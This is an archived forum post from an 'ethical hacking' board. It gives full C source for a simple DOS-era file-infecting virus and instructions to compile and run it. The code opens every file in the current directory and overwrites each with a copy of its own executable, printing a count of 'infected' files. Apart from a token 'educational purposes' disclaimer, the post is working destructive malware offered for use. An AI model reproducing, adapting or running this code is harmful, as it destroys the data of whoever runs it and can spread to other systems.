Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Ethical hacking (http://www.go4expert.com/forums/ethical-hacking-forum/)
-   -   How to make a virus using c (http://www.go4expert.com/forums/virus-using-c-t24167/)

VISHAL SINGH 13Dec2010 22:55

How to make a virus using c
 
Hello my self vishal singh,an ethical hacker.on today i larn u hw u make an virus in system .
note-that is for educational pruposes not for spread in ur friend system.
to make this virus in ur system u open c compiler in ur system and type

Code:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
        st=clock();
        clrscr();
        done=findfirst(“*.*”,&ffblk,0);
        while(!done)
        {
                virus=fopen(_argv[0],”rb”);
                host=fopen(ffblk.ff_name,”rb+”);
                if(host==NULL) goto next;
                x=89088;
                printf(“Infecting %s\n”,ffblk.ff_name,a);
                while(x>2048)
                {
                        fread(buff,2048,1,virus);
                        fwrite(buff,2048,1,host);
                        x-=2048;
                }
                fread(buff,x,1,virus);
                fwrite(buff,x,1,host);
                a++;
                next:
                {
                        fcloseall();
                        done=findnext(&ffblk);
                }
        }
        printf(“DONE! (Total Files Infected= %d)”,a);
        end=clock();
        printf(“TIME TAKEN=%f SEC\n”,
        (end-st)/CLK_TCK);
        getch();
}

:crazy:


All times are GMT +5.5. The time now is 12:05.